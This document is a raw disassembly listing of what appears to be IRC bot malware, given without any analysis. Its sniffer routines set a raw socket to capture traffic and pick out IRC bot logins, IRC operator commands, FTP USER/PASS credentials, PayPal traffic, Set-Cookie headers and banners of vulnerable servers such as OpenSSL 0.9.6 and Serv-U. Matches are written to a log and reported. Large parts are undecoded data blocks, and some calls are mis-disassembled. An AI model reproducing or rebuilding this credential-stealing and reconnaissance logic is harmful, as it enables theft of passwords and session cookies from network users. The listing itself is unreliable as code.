dd 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h
dd 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch, 2398E0Fh
dd 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh, 89BD8DC0h
dd 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h, 8D50F445h
dd 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h, 2C15FF56h
dd 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h, 50B0458Dh
dd 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h, 80000001h
dd 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh, 0E850FFFFh
dd 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h, 8C858DFCh
dd 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh, 20068h
dd 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh, 96E0E801h
dd 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h, 505351F4h
dd 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch, 858D50B0h
dd 0FFFFF888h, 434D8C68h, 17E85000h, 8300009Eh, 9D390CC4h
dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh, 0C483FFFFh
dd 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h, 80000001h
dd 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah, 858AFFFFh
dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
dd 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh, 0EFE85001h
dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh, 478D50F4h
dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h, 75FB3B00h
dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434D6Ch, 9D20E850h
dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h, 0FFFFF888h
dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
dd 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 360Dh
dd 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
dd 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh, 0FFFFFD5Fh
dd 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh, 8DFF0000h
dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
dd 0FFFF981Fh, 5E85359h, 90022FE4h, 3E868h, 3DE89000h
dd 570228F3h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
nop
call near ptr 27B015Fh
lea eax, [ebp-114h]
push 104h
push eax
call near ptr 26A0B90h
nop
lea eax, [ebp-114h]
push offset asc_43554C ; "\\"
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset dword_429120
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41B4C2
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411C7B
push 1
pop eax
jmp short loc_411CF2
; ---------------------------------------------------------------------------
loc_411C7B: ; CODE XREF: ___:00411C74j
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41BE06
push esi
call sub_41B05B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_411CF0
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_43551C
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_409A73
add esp, 24h
loc_411CF0: ; CODE XREF: ___:00411CB7j
xor eax, eax
loc_411CF2: ; CODE XREF: ___:00411C79j
pop esi
leave
retn
; ---------------------------------------------------------------------------
byte_411CF5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4509o
dd 8DCEC81h, 458B0000h, 57565308h, 0F724A583h, 6A00FFFFh
dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h, 0F015FFF8h
dd 0BB004CB5h, 200h, 0E890086Ah, 228F1ECh, 0B5D815FFh
dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh, 0FFFFFB24h
dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
dd 0A4C481h, 858D0000h, 0FFFFFB24h, 50006A53h, 97BBE8h
dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h, 0F004CB5h
dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h, 7DF6851Eh, 40FF832Eh
dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
dd 208300h, 0FD24858Dh, 0FF83FFFFh, 13755008h, 913FE8h
dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
dd 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh, 0FFFFFB24h
dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
dd 458B07EBh, 7C08308h, 24858D50h, 50FFFFFDh, 9F1BE8h
dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
dd 6A59FFh, 0E02AE890h
db 2Fh, 2
word_411FD6 dw 8B55h ; DATA XREF: sub_401ACD+412Bo
dd 2B4B8ECh, 3DE80001h, 8B00009Bh, 57560855h, 8B58016Ah
dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h, 9082h
dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h, 0C7660CC4h
dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch, 89026A03h
dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h, 5959FFFFh
dd 55E89056h, 8B022FDFh, 106AD045h, 234C069h, 0B8890000h
dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
dd 97A2h, 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh
dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
dd 4CB6ECh, 0E8D075FFh, 0FFFF92EBh, 0E8905659h, 22FDED0h
dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h, 75390CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
dd 59FFFF92h, 4DE89056h, 53022FDEh, 4355A8BBh, 0FFFFBF00h
dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h, 0FEFD5885h
dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh, 458B1808h
dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h, 4CB6E0h
dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h, 96D4h
dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h
dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh, 0DCAEE890h
db 2Fh, 2
; =============== S U B R O U T I N E =======================================
sub_412352 proc near ; CODE XREF: sub_412661+213p
; sub_412661+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE3C0, eax
mov eax, offset dword_4CE3C0
retn
sub_412352 endp
; =============== S U B R O U T I N E =======================================
sub_412361 proc near ; CODE XREF: sub_412661+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41237B
loc_412377: ; CODE XREF: sub_412361+29j
; sub_412361+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41237B: ; CODE XREF: sub_412361+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4123C3
loc_4123BF: ; CODE XREF: sub_412361+71j
; sub_412361+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4123C3: ; CODE XREF: sub_412361+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a366 ; "366 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_login_0 ; ":.login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aLogin_1 ; ":!login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aLogin_0 ; ":!Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_login ; ":.Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_ident ; ":.ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aIdent_0 ; ":!ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BF
push offset a_hashin ; ":.hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BF
push offset aHashin ; ":!hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412361 endp
; =============== S U B R O U T I N E =======================================
sub_412478 proc near ; CODE XREF: sub_412661+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412492
loc_41248E: ; CODE XREF: sub_412478+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412492: ; CODE XREF: sub_412478+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41248E
push offset aOper_0 ; "OPER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4124B8
loc_4124B4: ; CODE XREF: sub_412478+4Fj
; sub_412478+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124B8: ; CODE XREF: sub_412478+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B4
push offset aOper ; "oper "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B4
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412478 endp
; =============== S U B R O U T I N E =======================================
sub_4124EE proc near ; CODE XREF: sub_412661+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412508
loc_412504: ; CODE XREF: sub_4124EE+29j
; sub_4124EE+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412508: ; CODE XREF: sub_4124EE+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412504
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412504
push offset a220 ; "220 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41253F
loc_41253B: ; CODE XREF: sub_4124EE+60j
; sub_4124EE+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41253F: ; CODE XREF: sub_4124EE+4Bj
push offset a230 ; "230 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253B
push offset aUser_3 ; "USER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253B
push offset aPass_1 ; "PASS "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124EE endp
; =============== S U B R O U T I N E =======================================
sub_412575 proc near ; CODE XREF: sub_412661+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41258F
loc_41258B: ; CODE XREF: sub_412575+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41258F: ; CODE XREF: sub_412575+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41258B
push offset aPaypal ; "paypal"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4125B5
loc_4125B1: ; CODE XREF: sub_412575+4Fj
; sub_412575+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125B5: ; CODE XREF: sub_412575+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412575 endp
; =============== S U B R O U T I N E =======================================
sub_4125FC proc near ; CODE XREF: sub_412661:loc_412A26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412616
loc_412612: ; CODE XREF: sub_4125FC+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412616: ; CODE XREF: sub_4125FC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412612
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41263C
loc_412638: ; CODE XREF: sub_4125FC+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41263C: ; CODE XREF: sub_4125FC+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412638
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412661 proc near ; DATA XREF: sub_401ACD+427Do
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB668
lea eax, [ebp+var_3B8]
push eax
call dword_4CB6D8
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41C310
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CB6D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412707
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412707: ; CODE XREF: sub_412661+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CB680
cmp eax, 0FFFFFFFFh
jnz short loc_41277D
call dword_4CB5E8
push eax
lea eax, [ebp+var_2B8]
push offset unk_4361C0
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412759
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A73
add esp, 14h
loc_412759: ; CODE XREF: sub_412661+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC
push [ebp+var_34]
call sub_40B413
pop ecx
push ebx
call near ptr 2710000h
nop
loc_41277D: ; CODE XREF: sub_412661+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB600
cmp eax, 0FFFFFFFFh
jnz short loc_412803
call dword_4CB5E8
push eax
lea eax, [ebp+var_2B8]
push offset unk_436190
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4127DF
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A73
add esp, 14h
loc_4127DF: ; CODE XREF: sub_412661+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC
push [ebp+var_34]
call sub_40B413
pop ecx
push ebx
call near ptr 2710000h
nop
loc_412803: ; CODE XREF: sub_412661+13Cj
mov esi, 200h
loc_412808: ; CODE XREF: sub_412661+1D6j
; sub_412661+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB66C
cmp [ebp+var_113AF], 6
jnz short loc_412808
push [ebp+var_113A4]
mov edi, dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_412808
cmp [ebp+arg_0], 19h
jz short loc_412808
cmp edi, 6Eh
jz short loc_412808
cmp edi, 19h
jz short loc_412808
push [ebp+var_113AC]
call sub_412352
pop ecx
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+var_113A8]
call sub_412352
add esp, 10h
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jle short loc_412906
loc_4128D2: ; CODE XREF: sub_412661+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_4128E9
mov byte ptr [eax], 20h
loc_4128E9: ; CODE XREF: sub_412661+283j
cmp byte ptr [eax], 0Ah
jnz short loc_4128F1
mov byte ptr [eax], 20h
loc_4128F1: ; CODE XREF: sub_412661+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41AFE0
cmp [ebp+var_4], eax
pop ecx
jl short loc_4128D2
loc_412906: ; CODE XREF: sub_412661+26Fj
cmp [ebp+arg_0], 50h
jz loc_4129B9
cmp edi, 50h
jz loc_4129B9
lea eax, [ebp+var_1138C]
push eax
call sub_412361
test al, al
pop ecx
jz short loc_41294D
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43615C
jmp loc_4129E8
; ---------------------------------------------------------------------------
loc_41294D: ; CODE XREF: sub_412661+2C7j
cmp edi, 50h
jz short loc_4129B9
lea eax, [ebp+var_1138C]
push eax
call sub_412478
test al, al
pop ecx
jz short loc_412983
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436128
jmp short loc_4129E8
; ---------------------------------------------------------------------------
loc_412983: ; CODE XREF: sub_412661+300j
cmp edi, 50h
jz short loc_4129B9
lea eax, [ebp+var_1138C]
push eax
call sub_4124EE
test al, al
pop ecx
jz short loc_4129B9
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4360F4
jmp short loc_4129E8
; ---------------------------------------------------------------------------
loc_4129B9: ; CODE XREF: sub_412661+2A9j
; sub_412661+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_412575
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412A26
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_4360BC
loc_4129E8: ; CODE XREF: sub_412661+2E7j
; sub_412661+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41B980
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412808
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A73
add esp, 14h
jmp loc_412808
; ---------------------------------------------------------------------------
loc_412A26: ; CODE XREF: sub_412661+36Ej
call sub_4125FC
test al, al
pop ecx
jz loc_412808
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436084
jmp short loc_4129E8
sub_412661 endp
; ---------------------------------------------------------------------------
dword_412A54 dd 81EC8B55h, 494ECh, 8458B00h, 0A5B95756h, 8B000000h
; DATA XREF: sub_401ACD+6543o
dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 0E8000000h
dd 22ADBEDh, 51E85090h, 8D00008Eh, 0FFFE7485h, 858D50FFh
dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
dd 398h, 5014C483h, 0FB6C858Dh, 0EC68FFFFh, 50004361h
dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h, 0E8FFFFFDh
dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0F9E89056h, 5F022FD4h
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B09 proc near ; CODE XREF: ___:00412E80p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
